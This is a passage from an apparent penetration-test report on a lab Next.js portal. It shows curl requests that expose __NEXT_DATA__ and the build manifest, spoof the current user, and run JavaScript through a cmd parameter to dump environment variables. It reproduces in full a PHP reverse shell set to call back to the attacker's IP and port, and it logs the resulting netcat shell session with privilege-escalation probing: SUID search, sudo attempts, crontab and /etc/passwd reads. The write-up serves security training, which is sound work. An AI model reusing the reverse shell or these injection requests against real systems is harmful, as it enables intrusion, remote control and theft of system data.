parameter.", "currentUser":"fongling"}, "__N_SSP":true}, "page":"/dashboard", "
query":{},"buildId":"JHuC9hCLrfTi8AelgPF9j", "isFallback":false, "
isExperimentalCompile":false, "gssp":true, "scriptLoader":[]}</script></body></
html>$

```

The Next.js application will contain a `__NEXT_DATA__`, which is a JSON payload that the client side to get the page without having to get the data again from the server. From our command that was run to look at it, information such as props, page, buildId, etc. Props showed that the currentUser: fongling and some information in a string. This could mean that if an employee inputs a database object, sensitive information could be exposed. The buildId was discovered as "JHuC9hCLrfTi8AelgPF9j" which is used to dig deeper into internal information.

Listing 6: `__NEXT_DATA__`

```

1 $ curl -s http://192.168.56.21:3000/ | grep "__NEXT_DATA__"
2 <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" data-next-head=""><
  meta name="viewport" content="width=device-width" data-next-head=""><link rel
  ="preload" href="/next.svg" as="image" data-next-head=""><link rel="preload"
  href="/_next/static/media/caa3a2e1cccd8315-s.p.853070df.woff2" as="font" type="
  font/woff2" crossorigin="anonymous" data-next-font="size-adjust"><link rel="
  preload" href="/_next/static/media/797e433ab948586e-s.p.dbea232f.woff2" as="
  font" type="font/woff2" crossorigin="anonymous" data-next-font="size-adjust"><
  link rel="preload" href="/_next/static/chunks/c4e409f7981e75a8.css" as="style
  "><link rel="preload" href="/_next/static/chunks/e728a2207a3f89fe.css" as="
  style"><link rel="stylesheet" href="/_next/static/chunks/c4e409f7981e75a8.css"
  data-n-g=""><link rel="stylesheet" href="/_next/static/chunks/
  e728a2207a3f89fe.css" data-n-p=""><noscript data-n-css=""></noscript><script
  src="/_next/static/chunks/a244b3459b586db2.js" defer=""></script><script src="/
  _next/static/chunks/8e8a52f41d4c1126.js" defer=""></script><script src="/_next/
  static/chunks/turbopack-a94a479289f0e184.js" defer=""></script><script src="/
  _next/static/chunks/4d92a0b8ce8dac45.js" defer=""></script><script src="/_next/
  static/chunks/turbopack-01ded89a9f6b977a.js" defer=""></script><script src="/
  _next/static/JHuC9hCLrfTi8AelgPF9j/_ssgManifest.js" defer=""></script><script
  src="/_next/static/JHuC9hCLrfTi8AelgPF9j/_buildManifest.js" defer=""></script
  ></head><body class="antialiased"><link rel="preload" as="image" href="/next.
  svg"><div id="__next"><div class="geist_30c44c32-module__G1nYbG__className
  geist_mono_f1f8a2c5-module__7qQEnW__className flex min-h-screen items-center
  justify-center bg-zinc-50 font-sans dark:bg-black"><main class="flex min-h-
  screen w-full max-w-3xl flex-col items-center justify-between py-32 px-16 bg-
  white dark:bg-black sm:items-start"><div class="flex flex-col items-center gap-6 text
  -center sm:items-start sm:text-left"><h1 class="max-w-xs text-3xl font-semibold
  leading-10 tracking-tight text-black dark:text-zinc-50">To get started, edit
  the index.js file.</h1><p class="max-w-md text-lg leading-8 text-zinc-600 dark:
  text-zinc-400">Looking for a starting point or more instructions? Head over to
  <!-- --> <a href="https://vercel.com/templates?framework=next.js&utm_source
  =create-next-app&utm_medium=default-template-tw&utm_campaign=create-
  next-app" class="font-medium text-zinc-950 dark:text-zinc-50">Templates</a>
  <!-- -->or the<!-- --> <a href="https://nextjs.org/learn?utm_source=create-next
  -app&utm_medium=default-template-tw&utm_campaign=create-next-app" class
  ="font-medium text-zinc-950 dark:text-zinc-50">Learning</a> <!-- -->center.</p
  ></div><div class="flex flex-col gap-4 text-base font-medium sm:flex-row"><a
  class="flex h-12 w-full items-center justify-center gap-2 rounded-full bg-
  foreground px-5 text-background transition-colors hover:bg-[#383838] dark: hover
  :bg-[#ccc] md:w-[158px]" href="https://vercel.com/new?utm_source=create-next-

```

```

app&utm_medium=default-template-tw&utm_campaign=create-next-app" target
="_blank" rel="noopener noreferrer">Deploy Now</a><a class="flex h-12 w-
full items-center justify-center rounded-full border border-solid border-black
/[.08] px-5 transition-colors hover:border-transparent hover:bg-black/[.04]
dark:border-white/[.145] dark:hover:bg-[#1a1a1a] md:w-[158px]" href="https://
nextjs.org/docs/pages/getting-started?utm_source=create-next-app&utm_medium
=default-template-tw&utm_campaign=create-next-app" target="_blank" rel="
noopener noreferrer">Documentation</a></div></main></div><script id="
__NEXT_DATA__" type="application/json">{"props":{"pageProps":{}}, "page":"/", "
query":{},"buildId":"JHuC9hCLrfTi8AelgPF9j","nextExport":true,"autoExport":true
,"isFallback":false,"scriptLoader":[]}</script></body></html>

```

The basic Next.js path to the manifest is `url/_next/static/buildId/_buildManifest.js`. This reveals that there are many routes that were not initially found. The path `/_error` can leave stack traces, which can lead back to what code failed and where it failed.

Listing 7: Build Manifest

```

1 $ curl -s http://192.168.56.21:3000/_next/static/JHuC9hCLrfTi8AelgPF9j/
  _buildManifest.js
2 self.__BUILD_MANIFEST = {
3   "/": [
4     "static/chunks/b43c168548861a63.js"
5   ],
6   "/_error": [
7     "static/chunks/86e803edba7cde1e.js"
8   ],
9   "/dashboard": [
10    "static/chunks/f8f45d639ec2a70a.js"
11  ],
12  "__rewrites": {
13    "afterFiles": [],
14    "beforeFiles": [],
15    "fallback": []
16  },
17  "sortedPages": [
18    "/",
19    "/_app",
20    "/_error",
21    "/api/hello",
22    "/dashboard"
23  ]
24 };self.__BUILD_MANIFEST_CB && self.__BUILD_MANIFEST_CB()$

```

This command shows that sensitive and valuable information is available to unauthorized users. It contains system information about the `cmd` parameter that can be used to exploit the whole system. Also, the server is associating it with a session with a user. Since there was no login, this shows missing authorization. It is also just a JSON value, so it is possible to fool the system by claiming to be a different user.

Listing 8: Dashboard

```

1 $ curl -s http://192.168.56.21:3000/_next/data/JHuC9hCLrfTi8AelgPF9j/dashboard.
  json

```



```
2 {"pageProps":{"systemInfo":"System standby. Run diagnostics via the cmd parameter
  .","currentUser":"fongling"},"__N_SSP":true}$
```

By claiming the user is Alice, the system is fooled into thinking the user is Alice. With that logic, an attacker can claim to be an admin and access sensitive information. The user is shown at the bottom of the script by looking at currentUser:Alice.

Listing 9: Broken Access

```
1 $ curl -s "http://192.168.56.21:3000/dashboard?user=Alice" | grep "User:"
2 <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8" data-next-head=""><
  meta name="viewport" content="width=device-width" data-next-head=""><link rel
  ="preload" href="/_next/static/chunks/c4e409f7981e75a8.css" as="style"/><link
  rel="stylesheet" href="/_next/static/chunks/c4e409f7981e75a8.css" data-n-g
  =""><noscript data-n-css=""></noscript><script src="/_next/static/chunks/
  a244b3459b586db2.js" defer=""></script><script src="/_next/static/chunks/8
  e8a52f41d4c1126.js" defer=""></script><script src="/_next/static/chunks/
  turbopack-a94a479289f0e184.js" defer=""></script><script src="/_next/static/
  chunks/7b4f7971dbd2b4c4.js" defer=""></script><script src="/_next/static/chunks
  /turbopack-369b5670a966d1c4.js" defer=""></script><script src="/_next/static/
  JHuC9hCLrfTi8AelgPF9j/_ssgManifest.js" defer=""></script><script src="/_next/
  static/JHuC9hCLrfTi8AelgPF9j/_buildManifest.js" defer=""></script></head><body
  class="antialiased"><div id="__next"><div style="background-color:#0b1220;
  background-image:radial-gradient(1000px 600px at 20% 0%, #12224a, #0b1220);min-
  height:100vh;color:#e8eefc;font-family:sans-serif;padding:24px"><div style="max
  -width:980px;margin:0 auto"><div style="display:flex;justify-content:space-
  between;padding:14px;border:1px solid #223257;border-radius:12px;background:
  rgba(15, 26, 51, 0.65)"><div>ACME IT Corp <span style="color:#9db0d1;font-size
  :12px">internal health portal</span></div><div>User: <span style="color:#6ea8fe
  ">Alice</span></div></div><div style="margin-top:18px;padding:18px;border:1px
  solid #223257;border-radius:12px;background:rgba(15, 26, 51, 0.75)"><h1>System
  Diagnostics v1.0b</h1><p style="color:#9db0d1;font-size:14px">Authorized access
  only. Unauthorized access is prohibited and monitored.</p><div style="margin-
  top:20px"><h2 style="font-size:14px;color:#6ea8fe;text-transform:uppercase">
  Diagnostic Output</h2><pre style="background:#0b142a;padding:10px;border-radius
  :10px;color:#6fcf6f;border:1px solid #223257">System standby. Run diagnostics
  via the cmd parameter.</pre></div></div><div style="margin-top:22px;text-align:
  center;font-size:12px;color:#9db0d1"> 2026 ACME IT Corp      Internal Portal
  v2.6.14      <span style="color:#6ea8fe">Built by Next.js</span></div></div></
  div></div><script id="__NEXT_DATA__" type="application/json">{"props":{"
  pageProps":{"systemInfo":"System standby. Run diagnostics via the cmd parameter
  .","currentUser":"Alice"},"__N_SSP":true},"page":"/dashboard","query":{"user":"
  Alice"},"buildId":"JHuC9hCLrfTi8AelgPF9j","isFallback":false,"
  isExperimentalCompile":false,"gssp":true,"scriptLoader":[]}</script></body></
  html>
```

The command "cmd" was used as referenced in the past steps to see if code can be executed. The server is executing some javascript and returns the information in process.version. A normal site would not do anything with that command or just print out ?cmd=process.version.

Listing 10: Remote Code Execution

```
1 $ curl -s "http://192.168.56.21:3000/_next/data/JHuC9hCLrfTi8AelgPF9j/dashboard.
  json?cmd=process.version"
2 {"pageProps":{"systemInfo":"v20.20.1","currentUser":"fongling"},"__N_SSP":true}$
```

This command tells the server to show every internal environment variable. The server is already running as root. Anything can be done on the system as root so nothing is truly secure on the system.

Listing 11: Privilege Escalation and Environment Control

```

1 $ curl -s "http://192.168.56.21:3000/_next/data/JHuC9hCLrfTi8AelgPF9j/dashboard.
  json?cmd=JSON.stringify(process.env)"
2 {"pageProps":{"systemInfo":{"USER":"root","npm_config_user_agent":"npm
  /10.8.2 node/v20.20.1 linux x64 workspaces/false","npm_node_execpath":"/usr
  /bin/node","HOME":"/root","npm_package_json":"/opt/acme-next-dashboard/
  package.json","npm_config_userconfig":"/root/.npmrc","
  npm_config_local_prefix":"/opt/acme-next-dashboard","SYSTEMD_EXEC_PID
  ":"787","COLOR":"","0","LOGNAME":"root","JOURNAL_STREAM
  ":"8:8001","npm_config_prefix":"/usr","npm_config_npm_version
  ":"10.8.2","MEMORY_PRESSURE_WATCH":"/sys/fs/cgroup/system.slice/acme-
  health.service/memory.pressure","npm_config_cache":"/root/.npm","
  npm_config_node_gyp":"/usr/lib/node_modules/npm/node_modules/node-gyp/bin/
  node-gyp.js","PATH":"/opt/acme-next-dashboard/node_modules/.bin:/opt/
  node_modules/.bin:/node_modules/.bin:/usr/lib/node_modules/npm/node_modules/
  @npmcli/run-script/lib/node-gyp-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/
  usr/bin:/snap/bin","INVOCATION_ID":"48279652d40e48fe92f04872d1967eb2","
  NODE":"/usr/bin/node","npm_package_name":"acme-next-dashboard","LANG
  ":"en_US.UTF-8","npm_lifecycle_script":"next start","SHELL":"/usr/bin
  /bash","npm_package_version":"0.1.0","npm_lifecycle_event":"start","
  npm_config_globalconfig":"/usr/etc/npmrc","npm_config_init_module":"/root
  /.npm-init.js","npm_execpath":"/usr/lib/node_modules/npm/bin/npm-cli.js
  ","PWD":"/opt/acme-next-dashboard","npm_config_global_prefix":"/usr
  ","npm_command":"start","MEMORY_PRESSURE_WRITE":"","
  c29tZSAyMDAwMDAgMjAwMDAwMAA=","INIT_CWD":"/opt/acme-next-dashboard","
  EDITOR":"vi","NODE_ENV":"production","NEXT_RUNTIME":"nodejs","PORT
  ":"3000","__NEXT_PRIVATE_ORIGIN":"http://localhost:3000","
  npm_config_noproxy":"","NEXT_DEPLOYMENT_ID":"","TURBOPACK":"","1"},"
  currentUser":"fongling"},"__N_SSP":true}$

```

7.8 Web Portal Reverse Shell

This is the kali packaged reverse shell modified for our attack box IP and Port.

Listing 12: PHP Reverse Shell

```

1 <?php
2 // php-reverse-shell - A Reverse Shell implementation in PHP
3 // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
4 //
5 // This tool may be used for legal purposes only. Users take full responsibility
6 // for any actions performed using this tool. The author accepts no liability
7 // for damage caused by this tool. If these terms are not acceptable to you, then
8 // do not use this tool.
9 //
10 // In all other respects the GPL version 2 applies:
11 //
12 // This program is free software; you can redistribute it and/or modify
13 // it under the terms of the GNU General Public License version 2 as
14 // published by the Free Software Foundation.
15 //
16 // This program is distributed in the hope that it will be useful,
17 // but WITHOUT ANY WARRANTY; without even the implied warranty of
18 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
19 // GNU General Public License for more details.

```

```

20 //
21 // You should have received a copy of the GNU General Public License along
22 // with this program; if not, write to the Free Software Foundation, Inc.,
23 // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
24 //
25 // This tool may be used for legal purposes only. Users take full responsibility
26 // for any actions performed using this tool. If these terms are not acceptable
27 // to you, then do not use this tool.
28 //
29 // You are encouraged to send comments, improvements or suggestions to
30 // me at pentestmonkey@pentestmonkey.net
31 //
32 // Description
33 // -----
34 // This script will make an outbound TCP connection to a hardcoded IP and port.
35 // The recipient will be given a shell running as the current user (apache
36 // normally).
37 //
38 // Limitations
39 // -----
40 // proc_open and stream_set_blocking require PHP version 4.3+, or 5+
41 // Use of stream_select() on file descriptors returned by proc_open() will fail
42 // and return FALSE under Windows.
43 // Some compile-time options are needed for daemonisation (like pcntl, posix).
44 // These are rarely available.
45 //
46 // Usage
47 // ----
48 // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
49
50 set_time_limit (0);
51 $VERSION = "1.0";
52 $ip = '192.168.56.50'; // CHANGE THIS
53 $port = 4444; // CHANGE THIS
54 $chunk_size = 1400;
55 $write_a = null;
56 $error_a = null;
57 $shell = 'uname -a; w; id; /bin/sh -i';
58 $daemon = 0;
59 $debug = 0;
60
61 //
62 // Daemonise ourself if possible to avoid zombies later
63 //
64
65 // pcntl_fork is hardly ever available, but will allow us to daemonise
66 // our php process and avoid zombies. Worth a try...
67 if (function_exists('pcntl_fork')) {
68     // Fork and have the parent process exit
69     $pid = pcntl_fork();
70
71     if ($pid == -1) {
72         printit("ERROR: Can't fork");
73         exit(1);
74     }
75
76     if ($pid) {
77         exit(0); // Parent exits
78     }
79 }

```

```

75     }
76
77     // Make the current process a session leader
78     // Will only succeed if we forked
79     if (posix_setsid() == -1) {
80         printit("Error: Can't setsid()");
81         exit(1);
82     }
83
84     $daemon = 1;
85 } else {
86     printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
87 }
88
89 // Change to a safe directory
90 chdir("/");
91
92 // Remove any umask we inherited
93 umask(0);
94
95 //
96 // Do the reverse shell...
97 //
98
99 // Open reverse connection
100 $sock = fsockopen($ip, $port, $errno, $errstr, 30);
101 if (!$sock) {
102     printit("$errstr ($errno)");
103     exit(1);
104 }
105
106 // Spawn shell process
107 $descriptorspec = array(
108     0 => array("pipe", "r"), // stdin is a pipe that the child will read from
109     1 => array("pipe", "w"), // stdout is a pipe that the child will write to
110     2 => array("pipe", "w") // stderr is a pipe that the child will write to
111 );
112
113 $process = proc_open($shell, $descriptorspec, $pipes);
114
115 if (!is_resource($process)) {
116     printit("ERROR: Can't spawn shell");
117     exit(1);
118 }
119
120 // Set everything to non-blocking
121 // Reason: Occsionally reads will block, even though stream_select tells us they
122 // won't
123 stream_set_blocking($pipes[0], 0);
124 stream_set_blocking($pipes[1], 0);
125 stream_set_blocking($pipes[2], 0);
126 stream_set_blocking($sock, 0);
127
128 printit("Successfully opened reverse shell to $ip:$port");
129
130 while (1) {
131     // Check for end of TCP connection
132     if (feof($sock)) {
133         printit("ERROR: Shell connection terminated");

```

```

133     break;
134 }
135
136 // Check for end of STDOUT
137 if (feof($pipes[1])) {
138     printit("ERROR: Shell process terminated");
139     break;
140 }
141
142 // Wait until a command is end down $sock, or some
143 // command output is available on STDOUT or STDERR
144 $read_a = array($sock, $pipes[1], $pipes[2]);
145 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
146
147 // If we can read from the TCP socket, send
148 // data to process's STDIN
149 if (in_array($sock, $read_a)) {
150     if ($debug) printit("SOCK READ");
151     $input = fread($sock, $chunk_size);
152     if ($debug) printit("SOCK: $input");
153     fwrite($pipes[0], $input);
154 }
155
156 // If we can read from the process's STDOUT
157 // send data down tcp connection
158 if (in_array($pipes[1], $read_a)) {
159     if ($debug) printit("STDOUT READ");
160     $input = fread($pipes[1], $chunk_size);
161     if ($debug) printit("STDOUT: $input");
162     fwrite($sock, $input);
163 }
164
165 // If we can read from the process's STDERR
166 // send data down tcp connection
167 if (in_array($pipes[2], $read_a)) {
168     if ($debug) printit("STDERR READ");
169     $input = fread($pipes[2], $chunk_size);
170     if ($debug) printit("STDERR: $input");
171     fwrite($sock, $input);
172 }
173 }
174
175 fclose($sock);
176 fclose($pipes[0]);
177 fclose($pipes[1]);
178 fclose($pipes[2]);
179 proc_close($process);
180
181 // Like print, but does nothing if we've daemonised ourself
182 // (I can't figure out how to redirect STDOUT like a proper daemon)
183 function printit ($string) {
184     if (!$daemon) {
185         print "$string\n";
186     }
187 }
188
189 ?>

```

This is the active shell session obtained with the above php script.

Listing 13: PHP Reverse Shell

```

1 kali@kali: ~/scripts/project3
2 cp /usr/share/webshells/php/php-reverse-shell.php php-new-shell.png
3 kali@kali: ~/scripts [1] + done      cd ..
4
5 kali@kali: ~
6 nc -lvnp 4444
7
8 listening on [any] 4444 ...
9 connect to [192.168.56.50] from (UNKNOWN) [192.168.56.21] 41424
10 Linux project3 6.8.0-106-generic #106-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 6
    07:58:08 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
11 15:44:50 up 32 min, 0 user, load average: 0.24, 0.36, 0.31
12 USER      TTY      FROM          LOGIN@   IDLE   JCPU   PCPU   WHAT
13 uid=33(www-data) gid=33(www-data) groups=33(www-data)
14 /bin/sh: 0: can't access tty; job control turned off
15 $ ls whoami
16 www-data
17 $ ls
18 bin
19 bin.usr-is-merged
20 boot
21 cdrom
22 dev
23 etc
24 home
25 lib
26 lib.usr-is-merged
27 lib64
28 lost+found
29 media
30 mnt
31 opt
32 proc
33 root
34 run
35 sbin
36 sbin.usr-is-merged
37 snap
38 srv
39 swap.img
40 sys
41 tmp
42 usr
43 var
44
45 $ find / -perm -4000 > 2>/dev/null
46 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
47 /usr/lib/polkit-1/polkit-agent-helper-1
48 /usr/lib/openssh/ssh-keysign
49 /usr/bin/mount
50 /usr/bin/at
51 /usr/bin/chfn
52 /usr/bin/chsh
53 /usr/bin/umount
54 /usr/bin/gpasswd
55 /usr/bin/passwd
56 /usr/bin/sudo

```

```

57 /usr/bin/su
58 /usr/bin/fusermount3
59 /usr/bin/newgrp
60
61 $ echo "/bin/sh" | at now
62 You do not have permission to use at.
63
64 $ sudo /bin/sh
65 /usr/local/bin/acme-sudo-intercept.sh failed: exit code 1
66 sudo: a terminal is required to read the password; either use the -S option to
    read from standard input or configure an askpass helper
67 sudo: a password is required
68 $ newgrp root
69 Password: password
70 Invalid password.
71 $ whoami
72 www-data
73 $ gpasswd rd s passwd -a www-data root
74 gpasswd: Permission denied.
75
76 $ sudo -l
77 /usr/local/bin/acme-sudo-intercept.sh failed: exit code 1
78 sudo: a terminal is required to read the password; either use the -S option to
    read from standard input or configure an askpass helper
79 sudo: a password is required
80 $ cat /etc/crontab
81 # /etc/crontab: system-wide crontab
82 # Unlike any other crontab you don't have to run the `crontab`
83 # command to install the new version when you edit this file
84 # and files in /etc/cron.d. These files also have username fields,
85 # that none of the other crontabs do.
86
87 SHELL=/bin/sh
88 # You can also override PATH, but by default, newer versions inherit it from the
    environment
89 #PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
90
91 # Example of job definition:
92 # .----- minute (0 - 59)
93 # | .----- hour (0 - 23)
94 # | | .----- day of month (1 - 31)
95 # | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
96 # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri
    ,sat
97 # | | | | |
98 # * * * * * user-name command to be executed
99 17 * * * * root cd / && run-parts --report /etc/cron.hourly
100 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/
    cron.daily; }
101 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/
    cron.weekly; }
102 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/
    cron.monthly; }
103 #
104 $ cat /etc/cron.daily
105 cat: /etc/cron.daily: Is a directory
106 $ ls /etc/cron.daily
107 0snort-common
108 apache2

```

```

109 apport
110 apt-compat
111 dpkg
112 logrotate
113 man-db
114 sysstat
115
116 $ cat /etc/passwd
117 root:x:0:0:root:/root:/bin/bash
118 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
119 bin:x:2:2:bin:/bin:/usr/sbin/nologin
120 sys:x:3:3:sys:/dev:/usr/sbin/nologin
121 sync:x:4:65534:sync:/bin:/bin/sync
122 games:x:5:60:games:/usr/games:/usr/sbin/nologin
123 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
124 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
125 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
126 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
127 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
128 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
129 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
130 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
131 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
132 irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
133 _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
134 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
135 systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
136 systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
137 dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
138 messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
139 systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
140 pollinate:x:102:1::/var/cache/pollinate:/bin/false
141 polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
142 syslog:x:103:104::/nonexistent:/usr/sbin/nologin
143 uidd:x:104:105::/run/uidd:/usr/sbin/nologin
144 tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
145 tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
146 landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
147 fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
148 usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
149 project3:x:1000:1000:project3:/home/project3:/bin/bash
150 sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
151 snort:x:110:110:Snort IDS:/var/log/snort:/usr/sbin/nologin
152 postfix:x:112:113::/var/spool/postfix:/usr/sbin/nologin
153 fongling:x:1001:1001::/home/fongling:/bin/bash
154 alicebrown:x:1002:1002::/home/alicebrown:/bin/bash
155 evejohnson:x:1003:1003::/home/evejohnson:/bin/bash
156 mitchmarcus:x:1004:1004::/home/mitchmarcus:/bin/bash
157 bobbarker:x:1005:1005::/home/bobbarker:/bin/bash
158 mallorymartinez:x:1006:1006::/home/mallorymartinez:/bin/bash
159 claireredfield:x:1007:1007::/home/claireredfield:/bin/bash
160 $ cat /etccc /shadow
161 cat: /etc/shadow: Permission denied
162 $ find / -perm -4000 2>/dev/null
163 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
164 /usr/lib/polkit-1/polkit-agent-helper-1
165 /usr/lib/openssh/ssh-keysign
166 /usr/bin/mount
167 /usr/bin/at

```



```

168 /usr/bin/chfn
169 /usr/bin/chsh
170 /usr/bin/umount
171 /usr/bin/gpasswd
172 /usr/bin/passwd
173 /usr/bin/sudo
174 /usr/bin/su
175 /usr/bin/fusermount3
176 /usr/bin/newgrp
177 $ getcap -r / @ 2>dev/null
178 /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper
    cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
179 /usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,
    cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p
180 /usr/bin/mtr-packet cap_net_raw=ep
181 /usr/bin/ping cap_net_raw=ep
182 $ cat /etc/crontab
183 # /etc/crontab: system-wide crontab
184 # Unlike any other crontab you don't have to run the 'crontab'
185 # command to install the new version when you edit this file
186 # and files in /etc/cron.d. These files also have username fields,
187 # that none of the other crontabs do.
188
189 $ ls -la /etc/cron.*
190 /etc/cron.d:
191 total 32
192 drwxr-xr-x  2 root root  4096 Mar 15 15:43 .
193 drwxr-xr-x 125 root root 12288 Mar 20 07:17 ..
194 -rw-r--r--  1 root root   102 Feb 10 00:34 .placeholder
195 -rw-r--r--  1 root root   201 Apr  8  2024 e2scrub_all
196 -rw-r--r--  1 root root   712 Jan 19  2024 php
197 -rw-r--r--  1 root root   396 Feb 10 00:34 sysstat
198
199 /etc/cron.daily:
200 total 56
201 drwxr-xr-x  2 root root  4096 Mar 15 19:34 .
202 drwxr-xr-x 125 root root 12288 Mar 20 07:17 ..
203 -rw-r--r--  1 root root   102 Feb 10 00:34 .placeholder
204 -rwxr-xr-x  1 root root  1428 Feb 18  2023 0snort-common
205 -rwxr-xr-x  1 root root   539 Mar 18  2024 apache2
206 -rwxr-xr-x  1 root root   376 Jul  8  2025 appport
207 -rwxr-xr-x  1 root root  1478 Mar 22  2024 apt-compat
208 -rwxr-xr-x  1 root root   123 Feb  5  2024 dpkg
209 -rwxr-xr-x  1 root root   377 Feb 10 00:34 logrotate
210 -rwxr-xr-x  1 root root  1395 Feb 10 00:34 man-db
211 -rwxr-xr-x  1 root root   518 Feb 10 00:34 sysstat
212 -rwxr-xr-x  1 root root   123 Jan 29  2014 tripwire
213
214 /etc/cron.hourly:
215 total 20
216 drwxr-xr-x  2 root root  4096 Feb 10 00:34 .
217 drwxr-xr-x 125 root root 12288 Mar 20 07:17 ..
218 -rw-r--r--  1 root root   102 Feb 10 00:34 .placeholder
219
220 /etc/cron.monthly:
221 total 20
222 drwxr-xr-x  2 root root  4096 Feb 10 00:34 .
223 drwxr-xr-x 125 root root 12288 Mar 20 07:17 ..
224 -rw-r--r--  1 root root   102 Feb 10 00:34 .placeholder

```

```

225
226 /etc/cron.weekly:
227 total 24
228 drwxr-xr-x    2 root root  4096 Feb 10 00:34 .
229 drwxr-xr-x 125 root root 12288 Mar 20 07:17 ..
230 -rw-r--r--    1 root root   102 Feb 10 00:34 .placeholder
231 -rwxr-xr-x    1 root root  1055 Feb 10 00:34 man-db
232
233 /etc/cron.yearly:
234 total 20
235 drwxr-xr-x    2 root root  4096 Feb 10 00:34 .
236 drwxr-xr-x 125 root root 12288 Mar 20 07:17 ..
237 -rw-r--r--    1 root root   102 Feb 10 00:34 .placeholder
238 $ ls -la /etc/crontab
239 -rw-r--r--    1 root root  1136 Feb 10 00:34 /etc/crontab
240 $ find . /usr. /lin b/non de_modules - writable 2>/dev/null
241 $ ^C
242 Script done on 2026-03-26 12:10:31-04:00 [COMMAND_EXIT_CODE="1"]

```